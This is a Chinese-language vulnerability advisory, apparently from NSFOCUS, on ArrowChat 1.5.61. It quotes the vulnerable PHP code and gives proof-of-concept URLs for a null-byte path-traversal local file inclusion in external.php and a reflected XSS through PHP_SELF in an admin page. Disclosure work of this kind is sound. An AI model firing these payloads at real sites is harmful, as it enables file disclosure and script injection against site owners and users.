安全研究

安全漏洞
ArrowChat本地文件包含和跨站脚本漏洞

发布日期:2013-02-04
更新日期:2013-02-05

受影响系统:
ArrowChat ArrowChat <= 1.5.61
描述:
BUGTRAQ  ID: 57671

ArrowChat是可以集成在多种CMS内的聊天脚本。

ArrowChat以不安全的方式使用了加载语言的external.php,可导致本地文件包含;任何人都可以访问管理布局,至少可以通过$_SERVER['PHP_SELF']注入HTML代码。

<*来源:kallimero
  
  链接:http://packetstormsecurity.com/files/119999/ArrowChat-1.5.61-Cross-Site-Scripting-Local-File-Inclusion.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Vulnz
========


1- ) Local File Inclusion


external.php let us load langage, but not a secure way.

---------------[external.php]---------------

// Load another language if lang GET value is set and exists
if (var_check('lang'))
{
    $lang = get_var('lang');

    if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php"))
    {
        include (dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php");
    }
}
---------------[index.php]---------------

Thanks to the nullbyte tricks we'll be able to include any php file, like
that :

http://[site]/[path]/external.php?lang=../path/to/file%00&type=djs

2- ) reflected XSS

The administration layout is accessible for anyone. Even if we can't exec
the php code of the admin, we can inject html thanks to $_SERVER['PHP_SELF']


Example :
-------[admin/layout/pages_general.php]-----

<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>?do=<?php
echo $do; ?>" enctype="multipart/form-data">
----------------------------------

PoC:
http://
[site]/[path]/admin/layout/pages_general.php/'"/><script>alert(1);</script>

建议:
厂商补丁:

ArrowChat
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.sitexcms.org/ (404错误)

浏览次数:4014
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障